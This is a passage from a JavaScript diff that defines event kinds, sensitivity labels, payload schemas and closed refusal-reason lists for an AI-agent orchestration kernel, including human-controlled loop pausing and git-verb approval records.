+ ["request", "kernel", "grant voice.arm voice.narrow", D58],
468
+ ["request", "kernel", "brief.send cowork.allow link.revoke", R9],
469
+ // §3.4 strictness and run modes (P8-D86–D88): broker-only, kernel-signed (B11).
470
+ ["approval", "kernel", "strictness.raised strictness.proposed strictness.lowered strictness.held mode.set auto", D86],
471
+ ["request", "kernel", "strictness.set mode.set incident", D86],
472
+ [
473
+ "link",
474
+ "kernel",
475
+ "pair.offered paired renewed revoked expired connect disconnect auth.fail frame.refused paused rate relay.unreachable msg.in msg.out brief.drafted brief.sent brief.received brief.accepted brief.declined brief.expired declassified scan.hit egress.refused",
476
+ R9
477
+ ],
478
+ ["manifest", "kernel", "load refuse widened generate staged installed uninstall"],
479
+ ["schedule", "kernel", "due dropped tend.start tend.end automation.due"],
480
+ ["model", "kernel", "capabilities probe repair fallback.requested fallback.decided"],
481
+ [
482
+ "mod",
483
+ "kernel",
484
+ "installed rolled-back health effect.refused view.rendered stopped sandbox linked snapshot.refused paused repinned dev.expired unlinked"
485
+ ],
486
+ [
487
+ "voice",
488
+ "userland",
489
+ "session.start turn.user turn.agent deck focus tts.filtered bargein session.end share enrol forget"
490
+ ],
491
+ ["contract", "kernel", "registered claim claimed released built knot progress"],
492
+ // §7.3 review convergence (P8-D86–D88).
493
+ ["contract", "kernel", "review.returned review.capped review.extended review.restarted", D86],
494
+ ["oracle", "kernel", "run result"],
495
+ ["warpline", "kernel", "pick admit knot resolve selvage.moved"],
496
+ ["merge", "kernel", "tree conflict ci landed"],
497
+ // §3.4 kernel-observed strictness signals (P8-D86–D88).
498
+ ["merge", "kernel", "reverted ref.rewritten", D86],
499
+ ["gate-class", "kernel", "detected decided"],
500
+ ["inject", "userland", "receipt"],
501
+ ["paradigm", "userland", "doodle.exported event"],
502
+ ["detector", "userland", "event"],
503
+ ["loop", "userland", "open row closed"],
504
+ ["loop", "kernel", "paused"],
505
+ ["tend", "userland", "digest proposal.fate teacher.drafted"],
506
+ ["decay", "userland", "writeback"],
507
+ ["calibration", "userland", "contested reviewer"],
508
+ ["verdict", "kernel", "founder"],
509
+ ["verdict", "kernel", "incident", D86],
510
+ ["liveness", "kernel", "violation digest.consumed"],
511
+ ["flow", "userland", "event"],
512
+ ["neurons", "userland", "event"],
513
+ // Standalone kernel-owned kinds named in §3.2 L5 and §5.
514
+ ["blob", "kernel", "pruned"],
515
+ ["digest", "kernel", "consumed"],
516
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §3–§5) — loop entries live in THIS tail block only ──────────────────
517
+ // Kernel-written by #loop-registry / #loop-runner / #loop-events, folded only from kernel-signed rows (LL6). The
518
+ // runner's per-round ledger row is `loop.round` (kernel-owned), NOT `loop.row`: `loop.row|open|closed` stay the
519
+ // userland #learning-loop ledger (gnomon.md §5 namespace ownership, A17-3), which a granted principal may append,
520
+ // so a runner fold over loop.row could be fed forged rows. `loop.paused` (above) stays the one kernel pause row.
521
+ // loop.trusted / loop.untrusted a loop-trust card's decision / a revoke (§3.1)
522
+ // loop.closure.changed a human commit changed the config closure; the loop keeps running (§3.1)
523
+ // loop.run.started / loop.node / loop.round / loop.run.ended the run ledger (§4)
524
+ // loop.notified a notify node's toast or loop-choice card (§2)
525
+ // loop.proposed an act diff went to a card instead of landing (§3.3 L2, §3.4)
526
+ // loop.landed / loop.land.waiting / loop.parked the land step (§3.2)
527
+ // loop.trigger.fired a schedule, event or continuous trigger fired (§4 #loop-events)
528
+ // loop.deleted / loop.resumed a delete; a resume after any pause (the fold's pause → idle edge)
529
+ ["loop", "kernel", "trusted untrusted closure.changed run.started node round notified proposed landed land.waiting parked run.ended trigger.fired deleted resumed budget.tightened", LOOPS],
530
+ // The human's asks (§5 "Human ops"; the named request.* exception, gnomon.md §5): pause{all:true} is the kill switch.
531
+ ["request", "kernel", "loop.trust loop.untrust loop.pause loop.resume loop.run loop.delete loop.budget", LOOPS],
532
+ // The agent's ask (§5): a userland kind bound in the paradigm grant; the kernel pre-gates it (build step 12).
533
+ ["loop", "userland", "request", LOOPS],
534
+ // 8.0:git-verbs (T-2026-10-23-002): git.verb{hsid, verb, phase, inputHash, why?, cardId?, host?, exitCode?} — a
535
+ // kernel-run git verb a session asked for through the kernel's own MCP server (gnomon_git_init / gnomon_git_push /
536
+ // gnomon_repo_create): `requested` before any card or effect, then exactly one of `refused` (why), `ran` or `failed`
537
+ // (exitCode). Never a URL, path, token or command output: the host is the kernel-resolved remote host only.
538
+ ["git", "kernel", "verb", GIT_VERB_TAG]
539
+ ];
540
+ var SENSITIVE_KINDS = {
541
+ "session.inject": "sensitive",
542
+ "turn.event": "sensitive",
543
+ "voice.turn.user": "sensitive",
544
+ "voice.turn.agent": "sensitive",
545
+ // "voiceprints secret (§14.4)": the enrol row is the one that carries the print reference.
546
+ "voice.enrol": "secret",
547
+ // T-2026-10-20-007: why the read-only pass refused names command structure (paths, words)
548
+ "approval.auto.miss": "sensitive",
549
+ // 8.0:git-verbs: the remote host and the verb's input digest are project detail
550
+ "git.verb": "sensitive"
551
+ };
552
+ var FIELD_LABELS = {
553
+ "approval.request": { tool_input: "sensitive" },
554
+ "oracle.result": { evidence: "sensitive" },
555
+ "voice.turn.user": { audioRef: "sensitive" },
556
+ // Aegis round 3 (P8-D86–D88): a worktree path and a commit trailer can carry
557
+ // project or agent-written detail; the rows stay private + normal.
558
+ "approval.auto": { path: "sensitive", inputHash: "sensitive", anchoredInputHash: "sensitive" },
559
+ "approval.auto.miss": { why: "sensitive", inputHash: "sensitive" },
560
+ // TD-2026-10-23-939 follow-up: a file rule's path is project detail, like approval.auto's
561
+ "approval.rule.learned": { path: "sensitive" },
562
+ // 8.0:session-rename: a session name is the human's own words (it may echo the conversation): a limited reader never gets it
563
+ "request.session.rename": { name: "sensitive" },
564
+ "session.renamed": { name: "sensitive" },
565
+ "merge.reverted": { trailer: "sensitive" },
566
+ // M1.4 slice 2 round 3 (Aegis): digests of sensitive or low-entropy content are
567
+ // confirmation oracles for a dictionary guess, so a limited reader never gets them.
568
+ "turn.sent": { contentHash: "sensitive" },
569
+ // digest of the prompt content
570
+ "approval.voice.arm": { phrasesHash: "sensitive" },
571
+ // digest of short spoken phrases
572
+ "approval.voice.intent": { handleHash: "sensitive", challengeHash: "sensitive" },
573
+ // short voice handles/challenges (§14.7)
574
+ "link.msg.out": { hash: "sensitive" },
575
+ // digest of a message body sent to a peer
576
+ "inject.receipt": { shas: "sensitive", source_hash: "sensitive", frozenSliceHash: "sensitive" },
577
+ // digests of model-visible bytes
578
+ "daemon.log.quarantined": { evidencePath: "sensitive" },
579
+ // a local filesystem path (P8-D89)
580
+ "session.compacted": { summaryHash: "sensitive" },
581
+ // digest of model-written summary text (P8-D93)
582
+ // ── 8.0:loops: check/model evidence is repo output (may carry secrets), as oracle.result's evidence; landed and
583
+ // proposed paths name project detail, as approval.auto's path (gnomon-loops.md §4 "Evidence")
584
+ "loop.node": { evidence: "sensitive", evidenceRef: "sensitive" },
585
+ "loop.landed": { paths: "sensitive" },
586
+ "loop.proposed": { paths: "sensitive" },
587
+ // build step 12 (Aegis): the agent's loop.request row names its repo by path; the path is project detail
588
+ "loop.request": { repo: "sensitive" }
589
+ };
590
+ function build() {
591
+ const out = {};
592
+ for (const [ns, owner, kinds, reserved] of TABLE) {
593
+ for (const k of kinds.split(/\s+/)) {
594
+ const kind = `${ns}.${k}`;
595
+ if (out[kind]) throw new Error(`duplicate kind ${kind}`);
596
+ out[kind] = Object.freeze({
597
+ kind,
598
+ owner,
599
+ sensitivity: SENSITIVE_KINDS[kind] ?? "normal",
600
+ ...FIELD_LABELS[kind] ? { fieldLabels: Object.freeze({ ...FIELD_LABELS[kind] }) } : {},
601
+ ...reserved ? { reserved } : {}
602
+ });
603
+ }
604
+ }
605
+ return Object.freeze(out);
606
+ }
607
+ var RESERVED_PAYLOAD_FIELDS = Object.freeze({
608
+ // P8-D98 (§2.4 rule 11, T-2026-10-19-014 B1): the drain interrupt's row is session.inject{channel:'drain'
609
+ // (DRAIN_INJECT_CHANNELS), deadlineMs, deadlineSource (DRAIN_DEADLINE_SOURCES), failed?:true (the write failed)}.
610
+ "session.inject": Object.freeze({ peerRootKeyId: R9, briefId: R9, deadlineMs: D98, deadlineSource: D98, failed: D98 }),
611
+ "session.tainted": Object.freeze({ taint: R9 }),
612
+ "oracle.result": Object.freeze({ round: D86, range: D86, findings: D86 }),
613
+ "contract.knot": Object.freeze({ reopenOf: D86 }),
614
+ "contract.built": Object.freeze({ note: D86, responses: D86 }),
615
+ "verdict.founder": Object.freeze({ override: D86 }),
616
+ // P8-D98 (§2.4 rule 11, B2): a resumed open carries resume{drainedEventId, outcome} (DRAIN_OUTCOMES) and every
617
+ // open carries the opener's principalClass (a resume carries it over instead of assuming 'human').
618
+ // 8.0:loops: a loop session opens with origin:'loop' (the origin clamp, gnomon-loops.md §3.4) and names its run
619
+ "session.open": Object.freeze({ runMode: D86, resume: D98, principalClass: D98, origin: LOOPS, loopRun: LOOPS }),
620
+ // P8-D98 (§2.4 rule 11, B2): a resumed session's sandbox row names resumedFrom (the session.drained ev: id) and
621
+ // drainOutcome (DRAIN_OUTCOMES); a drain-interrupted resume adds a row with phase:'resume-note' (SANDBOX_D98_PHASES),
622
+ // note (RESUME_NOTES) and drainedEventId.
623
+ // (the phase field already exists; its new value is published in D98_CLOSED_VALUES, as are the exit reasons
624
+ // a drained session's session.exited{reason} writes: DRAIN_EXIT_REASONS)
625
+ // P8-D98 (#trace-capture, TD-2026-10-19-057): the running row says traced:true when the human's per-folder trace
626
+ // mode recorded the session's raw stream, or traced:false with traceRefused (TRACE_REFUSALS) when it could not.
627
+ "session.sandbox": Object.freeze({ resumedFrom: D98, drainOutcome: D98, note: D98, drainedEventId: D98, traced: D98, traceRefused: D98 }),
628
+ // P8-D98 (§2.4 rule 11, B2): every refusal of a resume names why (RESUME_REFUSALS); the row makes the refusal terminal.
629
+ "session.refused": Object.freeze({ resume: D98 }),
630
+ // P8-D98 (TD-2026-10-19-648 item 11, §7.4): the per-node claim generation; built in M2.2.
631
+ "contract.claimed": Object.freeze({ claimGen: D98 }),
632
+ // P8-D98 (TD-2026-10-19-528 F2): the match mode of a learned always-rule; only 'exact' (ALWAYS_RULE_MATCHES).
633
+ // TD-2026-10-20-294: a prefix rule carries its words; the always decision that learned it carries the same scope.
634
+ // TD-2026-10-23-939 follow-up: a file rule carries the kernel-resolved path of the card's edit (sensitive: project detail)
635
+ "approval.rule.learned": Object.freeze({ match: D98, prefix: PREFIX_RULES, path: EDIT_RULES }),
636
+ // TD-2026-10-23-815 (Aegis L2): a standing-covered decision names the device (unlock key) the grant matched on
637
+ "approval.decide": Object.freeze({ scope: PREFIX_RULES, device: EDIT_RULES }),
638
+ // T-2026-10-20-007: the digest of the ANCHORED command the kernel actually ran (the rewritten updatedInput)
639
+ "approval.auto": Object.freeze({ anchoredInputHash: STANDING }),
640
+ // P8-D98 (TD-2026-10-19-528 F4, §2.4 rule 11): approval.expire{why:'session-drained'} (CARD_EXPIRY_WHYS).
641
+ "approval.expire": Object.freeze({ why: D98 }),
642
+ // P8-D89 (M1.4 slice 3): the read-token file's untrusted diagnostic names the file and why (§9.1 `{line}` stays for the registry).
643
+ "key.registry.malformed": Object.freeze({ file: D89, reason: D89 }),
644
+ // ── 8.0:loops: the kernel's loop pause row names the loop, why (LOOP_PAUSE_REASONS) and who (gnomon-loops.md §3.1, §3.3)
645
+ "loop.paused": Object.freeze({ loopId: LOOPS, runId: LOOPS, reason: LOOPS, by: LOOPS })
646
+ });
647
+ var RESERVED_KIND_PAYLOADS = Object.freeze({
648
+ "approval.strictness.raised": ["repo", "from", "to", "cause", "signals", "score", "configHash"],
649
+ "approval.strictness.proposed": ["repo", "from", "to", "evidence"],
650
+ "approval.strictness.lowered": ["repo", "from", "to", "cardId", "override"],
651
+ "approval.strictness.held": ["repo", "level", "reason"],
652
+ "approval.mode.set": ["scope", "from", "to", "by", "presence"],
653
+ "approval.auto": ["hsid", "tool", "path", "inputHash", "modeRef"],
654
+ "request.strictness.set": ["repo", "to"],
655
+ "request.mode.set": ["repo", "hsid", "to"],
656
+ "request.incident": ["refs", "severity"],
657
+ "contract.review.returned": ["nodeId", "round", "openFindings"],
658
+ "contract.review.capped": ["nodeId", "rounds"],
659
+ "contract.review.extended": ["nodeId", "cardId"],
660
+ "contract.review.restarted": ["nodeId", "cardId"],
661
+ "merge.reverted": ["landedRef", "nodeId", "detectedBy", "trailer"],
662
+ "merge.ref.rewritten": ["ref", "kind"],
663
+ "verdict.incident": ["cardId", "refs", "severity"],
664
+ // P8-D89 (M1.4)
665
+ "daemon.log.quarantined": ["quarantinedLog", "quarantinedHead", "evidencePath", "authorizedBy"],
666
+ "key.token.revoked": ["tokenId"],
667
+ // TD-2026-10-20-086 F6 / T-2026-10-20-007
668
+ "grant.standing": ["grantId", "cardId", "tuples", "repos", "device", "expiresAt", "by"],
669
+ "grant.standing.used": ["grantId", "cardId", "tuple", "decision", "repo", "hsid"],
670
+ "grant.standing.revoked": ["grantId", "by", "reason"],
671
+ "request.grant.standing": ["tuples", "repos"],
672
+ "request.grant.standing.revoke": ["grantId"],
673
+ "approval.auto.miss": ["hsid", "tool", "why", "inputHash", "modeRef"],
674
+ "approval.unlock.joined": ["connId", "scope"],
675
+ // ── 8.0:loops (docs/specs/gnomon-loops.md §3–§5): field names only; a build step adds the closed check ──
676
+ "loop.trusted": ["loopId", "scope", "repoKey", "contentHash", "cardId", "authoredBy"],
677
+ "loop.untrusted": ["loopId", "scope", "repoKey", "contentHash", "by"],
678
+ "loop.closure.changed": ["loopId", "repoKey", "digest", "by"],
679
+ "loop.run.started": ["runId", "loopId", "contentHash", "trigger", "envelopeId"],
680
+ "loop.node": ["runId", "nodeId", "visit", "verdict", "confidence", "model", "permitId", "usage", "evidenceRef", "effectiveAutonomy"],
681
+ // loop.row{…} (gnomon.md §M3.2) extended additively (gnomon-loops.md §4), kernel-owned
682
+ "loop.round": ["runId", "loopId", "repo", "iter", "goal_ref", "tests_passing", "tsc_errors", "diff_lines", "files_touched", "symbols_touched", "tokens", "verdict", "nodeVisits", "escalations", "landedSha"],
683
+ "loop.notified": ["runId", "loopId", "nodeId", "as", "cardId"],
684
+ "loop.proposed": ["runId", "loopId", "cardId", "paths", "why"],
685
+ "loop.landed": ["loopId", "runId", "sha", "paths"],
686
+ "loop.land.waiting": ["loopId", "runId", "reason"],
687
+ "loop.parked": ["loopId", "runId", "ref", "reason"],
688
+ "loop.run.ended": ["runId", "loopId", "reason"],
689
+ "loop.trigger.fired": ["loopId", "trigger", "eventId"],
690
+ "loop.deleted": ["loopId", "scope", "repoKey", "by"],
691
+ // LP8 (#gui-loops): a human tightened a trusted loop's caps (never raised: that is a change waiting for trust)
692
+ "loop.budget.tightened": ["loopId", "scope", "repoKey", "contentHash", "budgets", "by"],
693
+ "loop.resumed": ["loopId", "by", "cardId"],
694
+ "request.loop.trust": ["loopId", "scope", "repo"],
695
+ "request.loop.untrust": ["loopId", "scope", "repo"],
696
+ "request.loop.pause": ["loopId", "scope", "repo", "all"],
697
+ "request.loop.resume": ["loopId", "scope", "repo"],
698
+ "request.loop.run": ["loopId", "scope", "repo"],
699
+ "request.loop.delete": ["loopId", "scope", "repo"],
700
+ "request.loop.budget": ["loopId", "scope", "repo", "budgets"],
701
+ "loop.request": ["op", "loopId", "scope", "repo", "hsid"]
702
+ });
703
+ var STANDING_TUPLES = ["mode.loosen:auto-edits", "permission:always", "voice.widen", "voice-arm:allow", "daemon-stop:restart"];
704
+ var STANDING_REPO_TUPLES = ["mode.loosen:auto-edits", "permission:always"];
705
+ var STANDING_REVOKE_REASONS = ["human", "screen-lock", "display-sleep", "system-sleep", "user-switch", "helper-exit"];
706
+ var STANDING_PRESENCE_PREFIX = "standing:";
707
+ var STANDING_GRANT_MAX_MS = 12 * 60 * 6e4;
708
+ var KIND_PAYLOADS = Object.freeze({
709
+ "session.compacted": Object.freeze(["hsid", "turn", "reason", "summaryHash", "tokensBefore", "tokensAfter"]),
710
+ // P8-D98: closed payloads of the kinds reserved in the T-2026-10-19-001 move (validateKindPayload).
711
+ "session.drained": Object.freeze(["uuid", "reason"]),
712
+ // renewedByDrain + expiresAt: the founder ruling on carry-over (§2.4 rule 11) — a permit live at the drain gets a fresh window.
713
+ "permit.reattributed": Object.freeze(["permitId", "hsid", "drainedEventId", "renewedByDrain", "expiresAt"]),
714
+ "approval.rule.revoked": Object.freeze(["ruleId", "repoKey", "tool", "connId"]),
715
+ // 8.0:rules-view: the off / back-on rows of a standing always rule (validateKindPayload)
716
+ "approval.rule.disabled": Object.freeze(["ruleId", "repoKey", "tool", "until", "batch", "connId"]),
717
+ "approval.rule.enabled": Object.freeze(["ruleId", "repoKey", "tool", "cause", "batch", "connId", "cardId", "until"]),
718
+ "approval.effect.failed": Object.freeze(["cardId", "decision", "effect", "reason"]),
719
+ // model switch (8.0:model-switch): the human's ask and its closing row (validateKindPayload)
720
+ "request.session.model": Object.freeze(["hsid", "model"]),
721
+ "session.model": Object.freeze(["hsid", "from", "to", "permitId", "outcome"]),
722
+ // the Desk + the context meter (8.0:TD-2026-10-20-812). Closed, no free text except offer.shown's model-written
723
+ // `question` (≤ OFFER_QUESTION_MAX, control/format/separator characters refused) and its manifest-declared `title`.
724
+ "offer.shown": Object.freeze(["offerId", "hsid", "mod", "kind", "phase", "title", "contextIn", "question", "replyTurnId"]),
725
+ "offer.decided": Object.freeze(["offerId", "hsid", "decision"]),
726
+ "offer.kept": Object.freeze(["offerId", "hsid", "mod", "tool"]),
727
+ "request.offer.decide": Object.freeze(["offerId", "decision"]),
728
+ "request.offer.mute": Object.freeze(["mod", "scope", "hsid", "muted"]),
729
+ "offer.muted": Object.freeze(["mod", "repo", "muted", "hsid"]),
730
+ // T-2026-10-21-006: names only (name = the block's mod id, offerKind = its kind; both absent for no-block / malformed)
731
+ "offer.suppressed": Object.freeze(["hsid", "turn", "why", "name", "offerKind"]),
732
+ // T-2026-10-21-008: ids and closed reasons only
733
+ "offer.retired": Object.freeze(["offerId", "hsid", "why"]),
734
+ "session.anomaly": Object.freeze(["hsid", "why"]),
735
+ // source 'git' carries url (https only) and optionally commit (40 hex), 'folder' carries path (absolute); the other keys are refused
736
+ "request.mod.install": Object.freeze(["source", "url", "path", "commit"]),
737
+ "request.session.restart": Object.freeze(["hsid", "checkpointRef"]),
738
+ // 8.0:session-rename: the name is normalised display text (isSessionName); '' resets to the derived title
739
+ "request.session.rename": Object.freeze(["hsid", "name"]),
740
+ "session.renamed": Object.freeze(["hsid", "name"]),
741
+ "session.context.threshold": Object.freeze(["hsid", "usedTokens", "windowTokens", "ratio"]),
742
+ // 8.0:git-verbs: closed, ids and closed values only (host is a validated DNS name, never a URL)
743
+ "git.verb": Object.freeze(["hsid", "verb", "phase", "inputHash", "why", "cardId", "host", "exitCode"])
744
+ });
745
+ var KIND_PAYLOAD_OPTIONAL = Object.freeze({
746
+ "request.mod.install": Object.freeze(["url", "path", "commit"]),
747
+ "request.session.restart": Object.freeze(["checkpointRef"]),
748
+ "offer.suppressed": Object.freeze(["name", "offerKind"]),
749
+ "git.verb": Object.freeze(["why", "cardId", "host", "exitCode"]),
750
+ // 8.0:rules-view: cause 'human' carries batch, connId and cardId; cause 'expired' carries until (validateKindPayload)
751
+ "approval.rule.enabled": Object.freeze(["batch", "connId", "cardId", "until"])
752
+ });
753
+ var GIT_VERBS = ["git.init", "git.push", "repo.create", "git.worktree.add", "git.worktree.remove"];
754
+ var GIT_VERB_PHASES = ["requested", "refused", "ran", "failed", "lookup"];
755
+ var GIT_VERB_REASONS = [
756
+ "not-a-root",
757
+ "in-repo",
758
+ "protected-folder",
759
+ "no-repo",
760
+ "dotgit-link",
761
+ "unsafe-config",
762
+ "bad-input",
763
+ "no-branch",
764
+ "no-remote",
765
+ "bad-remote",
766
+ "remote-exists",
767
+ "remote-changed",
768
+ "mode-manual",
769
+ "loop-session",
770
+ "denied",
771
+ "no-approval-surface",
772
+ "tool-missing",
773
+ "not-authenticated",
774
+ "command-failed",
775
+ "timeout",
776
+ "worktree-exists",
777
+ "no-worktree",
778
+ "busy",
779
+ "unguarded",
780
+ "secret-in-push"
781
+ ];
782
+ var GIT_VERB_HOST_PATTERN = /^(?=.{1,253}$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/;
783
+ var OFFER_RETIRE_REASONS = ["continued"];
784
+ var SESSION_ANOMALY_REASONS = ["result-without-turn"];
785
+ var TURN_RESULT_PAIRING = Object.freeze({ key: "turn", pattern: TURN_ID_PATTERN.source, closesThrough: true, absent: "fifo" });
786
+ var SESSION_NAME_MAX = 80;
787
+ var SESSION_NAME_INPUT_MAX = 1024;
788
+ var OFFER_MUTE_SCOPES = ["repo"];
789
+ var MOD_INSTALL_SOURCES = ["git", "folder"];
790
+ var MOD_INSTALL_LIMITS = Object.freeze({ url: 512, path: 1024 });
791
+ var MOD_INSTALL_URL_PATTERN = /^https:\/\/[A-Za-z0-9][A-Za-z0-9.-]{0,252}(?::[0-9]{1,5})?(?:\/[A-Za-z0-9._~%!$&'()*+,;=:@\/?#-]*)?$/;
792
+ var CHECKPOINT_REF_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/;
793
+ var OFFER_ID_PATTERN = ID_PATTERNS.offer;
794
+ var SESSION_MODEL_OUTCOMES = ["switched", "backend-refused", "timeout", "permit-refused", "reconciled"];
795
+ var MODEL_SWITCH_CONTEXT_GUARD = Object.freeze({ fromSuffix: "[1m]", maxTokens: 16e4 });
796
+ var DRAIN_REASONS = ["upgrade"];
797
+ var DRAIN_OUTCOMES = ["clean", "interrupted"];
798
+ var DRAIN_EXIT_REASONS = ["drain-clean", "drain-interrupted"];
799
+ var DRAIN_INJECT_CHANNELS = ["drain"];
800
+ var DRAIN_DEADLINE_SOURCES = ["default", "caller"];
801
+ var SANDBOX_D98_PHASES = ["resume-note"];
802
+ var RESUME_NOTES = ["turn interrupted by update"];
803
+ var RESUME_REFUSALS = ["cwd-gone", "not-human", "transcripts-withheld", "layers-changed", "git-changed", "permit-missing", "permit-unfit", "billing-refused", "spawn-failed"];
804
+ var TRACE_REFUSALS = ["trace-unsafe", "trace-unavailable"];
805
+ var VOICE_DISARM_REASONS = [
806
+ "idle",
807
+ "hard",
808
+ "limit",
809
+ "conn-closed",
810
+ "voice-conn",
811
+ "screen-lock",
812
+ "display-sleep",
813
+ "user-switch",
814
+ "system-sleep",
815
+ "policy",
816
+ "config",
817
+ "mode-set",
818
+ "phrase",
819
+ "gui",
820
+ "cli",
821
+ "unenrolled",
822
+ "daemon-exit",
823
+ "helper-exit",
824
+ "handle-miss",
825
+ "challenge-miss",
826
+ "refused-streak"
827
+ ];
828
+ var ALWAYS_RULE_MATCHES = ["exact", "prefix", "file", "repo-edits"];
829
+ var RULE_ID_PATTERN = ID_PATTERNS.card;
830
+ var RULES_APPLY_MAX = 64;
831
+ var RULE_OFF_MAX_MS = 7 * 24 * 60 * 6e4;
832
+ var RULE_CHANGE_OPS = ["remove", "off", "on"];
833
+ var RULE_ENABLE_CAUSES = ["human", "expired"];
834
+ var RULES_BATCH_PATTERN = /^batch:[0-9A-HJKMNP-TV-Z]{26}$/;
835
+ var COMPACTION_REASONS = ["threshold", "overflow", "manual", "unspecified"];
836
+ var LOOP_VERDICTS = ["pass", "fail", "unsure", "unavailable", "error"];
837
+ var LOOP_AUTONOMY = ["act", "propose", "observe"];
838
+ var LOOP_SCOPES = ["repo", "personal"];
839
+ var LOOP_REQUEST_OPS = ["create", "update", "run", "pause", "resume", "delete"];
840
+ var LOOP_PAUSE_REASONS = ["human", "agent", "kill-switch", "content-changed", "closure-changed", "thrash", "strictness", "budget", "node-exit", "unavailable", "timeout"];
841
+ var LOOP_RUN_END_REASONS = ["goal", "stop", "budget", "node-exit", "paused", "kill-switch", "content-changed", "closure-changed", "thrash", "strictness", "untrusted", "daemon-restart", "error"];
842
+ var LOOP_CLOSURE_BY = ["human", "loop", "agent"];
843
+ var LOOP_LAND_WAIT_REASONS = ["dirty", "held", "rename", "untracked", "ignored", "gitlink", "attributes", "case-fold", "in-progress", "index-lock", "human-turn", "branch-moved", "bytes-changed", "gate-class", "max-wait"];
844
+ var LOOP_SESSION_ORIGIN = "loop";
845
+ var EVENT_KINDS = build();
846
+ var EVENT_KIND_NAMES = Object.freeze(Object.keys(EVENT_KINDS).sort());
847
+ var OPEN_USERLAND_NAMESPACES = ["credit", "broke", "modns"];
848
+ var KIND_PATTERN = /^[a-z][a-z0-9-]*(\.[a-z0-9][a-z0-9-]*)+$/;
849
+ var EVENT_V1_REQUIRED = [
850
+ "schemaVersion",
851
+ "id",
852
+ "log",
853
+ "seq",
854
+ "at",
855
+ "principal",
856
+ "audience",
857
+ "sensitivity",
858
+ "kind",
859
+ "prev",
860
+ "hash"
861
+ ];
862
+ var MAX_CONTESTED = 32;
863
+ var WARPLINE_REFUSAL_CODES = [
864
+ "GATE_REFUSED",
865
+ "CLAIM_BREACH",
866
+ "TRUST_HELD",
867
+ "STALE_BASE",
868
+ "INTEGRITY_BROKEN",
869
+ "AUTH",
870
+ "FORBIDDEN",
871
+ "BAD_REQUEST",
872
+ "UNKNOWN_VERB",
873
+ "NOT_FOUND",
874
+ "UNSUPPORTED",
875
+ "ENGINE"
876
+ ];
877
+ var GNOMON_ONLY_REFUSAL_CODES = [
878
+ "BUDGET_DENIED",
879
+ "PERMIT_REQUIRED",
880
+ "CAS_LOST",
881
+ "BILLING_REFUSED",
882
+ "MODEL_UNAVAILABLE"
883
+ ];
884
+ var REFUSAL_CODES = [...WARPLINE_REFUSAL_CODES, ...GNOMON_ONLY_REFUSAL_CODES];
885
+ var WARPLINE_REFUSAL_GATES = ["meaning", "claim", "trust", "pick", "transport", "usage"];
886
+ var REFUSAL_GATES = [
887
+ ...WARPLINE_REFUSAL_GATES,
888
+ "budget",
889
+ "billing",
890
+ "model",
891
+ "voice",
892
+ "link",
893
+ // reserved M1.1 (P8-D86–D88, §4.11): review-convergence cap and strictness levels/run modes.
894
+ "review",
895
+ "strictness"
896
+ ];
897
+ var RETRIABILITIES = [
898
+ "retry-identical",
899
+ "retry-corrected",
900
+ "retry-after-rebase",
901
+ "retry-after-resolve",
902
+ "retry-with-override",
903
+ "never"
904
+ ];
905
+ var NEXT_PRINCIPALS = ["agent", "human"];
906
+ var CONTESTED_RANKS = ["direct", "ripple"];
907
+ var OVERRIDE_FLAGS = ["acceptBreach", "acceptRisk"];
908
+ var VOICE_REFUSAL_REASONS = [
909
+ "voice-off",
910
+ "voice-not-armed",
911
+ "voice-custody",
912
+ "voice-peer",
913
+ "voice-surface",
914
+ "voice-conn",
915
+ "voice-project",
916
+ "voice-class",
917
+ "voice-hand-only",
918
+ "voice-ineligible",
919
+ "voice-target",
920
+ "voice-ambiguous",
921
+ "voice-handle",
922
+ "voice-stale-utterance",
923
+ "voice-grammar",
924
+ "voice-speaker",
925
+ "voice-echo",
926
+ "voice-playback",
927
+ "voice-readback-missing",
928
+ "voice-challenge",
929
+ "voice-confirm-expired",
930
+ "voice-route",
931
+ "voice-focus",
932
+ "voice-rate",
933
+ "held",
934
+ // reserved M1.1 (P8-D86–D88, §4.11): the level's voice ceiling refused it (Arky's strictness-voice folds in here).
935
+ "voice-strictness"
936
+ ];
937
+ var LINK_REFUSAL_REASONS = [
938
+ "link-unpaired",
939
+ "link-scope",
940
+ "link-expired",
941
+ "link-revoked",
942
+ "link-paused",
943
+ "link-rate",
944
+ "audience",
945
+ "sensitivity",
946
+ "secret-found",
947
+ "brief-replayed",
948
+ "brief-expired",
949
+ "brief-misaddressed",
950
+ "peer-always",
951
+ "peer-presence",
952
+ "peer-via",
953
+ "warpline-sync-absent"
954
+ ];
955
+ var REVIEW_REFUSAL_REASONS = ["review-cap"];
956
+ var STRICTNESS_REFUSAL_REASONS = [
957
+ "strictness-presence",
958
+ "strictness-paused",
959
+ "strictness-mode",
960
+ "strictness-evidence"
961
+ ];
962
+ var CHANGE_NOTE_REFUSAL_REASONS = ["note-missing"];
963
+ var SOCKET_REASON_ROUTES = Object.freeze({
964
+ // framing / request shape (server.ts, rpc.ts parseRequest) — BAD_REQUEST
965
+ "frame-too-large": { code: "BAD_REQUEST", gate: "usage" },
966
+ "malformed-utf8": { code: "BAD_REQUEST", gate: "usage" },
967
+ "malformed-json": { code: "BAD_REQUEST", gate: "usage" },
968
+ "malformed-not-object": { code: "BAD_REQUEST", gate: "usage" },
969
+ "jsonrpc-version": { code: "BAD_REQUEST", gate: "usage" },
970
+ "rpc-tag": { code: "BAD_REQUEST", gate: "usage" },
971
+ "request-id": { code: "BAD_REQUEST", gate: "usage" },
972
+ "method-missing": { code: "BAD_REQUEST", gate: "usage" },
973
+ // hello (auth.ts)
974
+ "hello-repeated": { code: "BAD_REQUEST", gate: "usage" },
975
+ "hello-params": { code: "BAD_REQUEST", gate: "usage" },
976
+ "no-shared-client-api": { code: "UNSUPPORTED", gate: "usage" },
977
+ // auth (auth.ts) — AUTH unless noted
978
+ "already-authenticated": { code: "AUTH", gate: "transport" },
979
+ "no-hello": { code: "AUTH", gate: "transport" },
980
+ "nonce-used": { code: "AUTH", gate: "transport" },
981
+ "nonce-expired": { code: "AUTH", gate: "transport" },
982
+ "auth-params": { code: "AUTH", gate: "transport" },
983
+ "token-not-implemented": { code: "UNSUPPORTED", gate: "usage" },
984
+ "web-auth-not-implemented": { code: "UNSUPPORTED", gate: "usage" },
985
+ "replayed-transcript": { code: "AUTH", gate: "transport" },
986
